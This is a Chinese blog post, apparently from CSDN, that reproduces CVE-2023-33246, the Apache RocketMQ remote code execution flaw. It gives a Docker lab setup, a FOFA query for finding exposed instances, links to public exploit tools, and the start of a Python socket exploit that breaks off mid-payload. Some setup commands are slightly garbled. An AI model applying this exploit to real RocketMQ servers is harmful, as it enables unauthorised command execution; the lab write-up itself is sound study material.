Apache RocketMQ远程代码执行

Apache RocketMQ 5.1.0及以下版本存在远程命令执行风险,攻击者可利用NameServer、Broker和Controller组件的配置更新功能执行命令。漏洞编号CVE-2023-33246,影响版本包括4.9.5。通过工具如CVE-2023-33246复现漏洞,涉及任意文件写入和任意代码执行。补丁已发布,但需注意环境安全。
摘要由CSDN通过智能技术生成

目录

漏洞概述

环境搭建

docker环境

漏洞复现

漏洞分析

任意文件写入

漏洞分析

漏洞复现

任意代码执行

EXP

                  @ 学习更多渗透技能!体验靶场实战练习


漏洞概述

Apache RocketMQ是一个分布式消息中间件,专为万亿级超大规模的消息处理而设计,具有高吞吐量、低延迟、海量堆积、顺序收发等特点。RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer(9876端口)、Broker(10911端口)、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果

影响范围

Apache RocketMQ <= 5.1.0

Apache RocketMQ <= 4.9.5

漏洞编号:CVE-2023-33246

官网描述如下:

也即是多个组件暴露在外网且缺乏权限验证

这次的漏洞实际上是两个洞,但是只收录了一个,RCE的过程中,用到了前面的一部分

环境搭建

FOFA:title="RocketMQ"

docker环境

拉取docker镜像

docker pull apache/rocketmq:5.1.0
docker pull apacherocketmq/rocketmq-console:2.0.0

启动namesrv

docker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:5.1.0 sh mqnamesrv /bin/bash

启动broker

docker run -dit -p 10909:10909 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:5ok.1.0 sh mqbroker -c /home/rocketmq/rocketmq-5.1.0/conf/brer.conf

启动console

 docker run -dit --name mqconsole -p 8089:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.

访问8089看到控制台,arm下这个docker有一些问题,这里就直接用二进制环境复现

bin环境

./mqbroker
./mqnamesrv
./mqcontroller

其实可以只用broker组件来复现,任意文件写入是三个组件均存在的

漏洞复现

采用工具https://github.com/Le1a/CVE-2023-33246(该工具可以还原配置,不然要重复执行)

或者https://github.com/Serendipity-Lucky/CVE-2023-33246

两个工具用法稍微有一点不一样,具体用法看markdown文档,交互的过程用的自带的协议

python实现

import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.111.129',10911))
# data
json = '{"code":25,"extFields":{
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值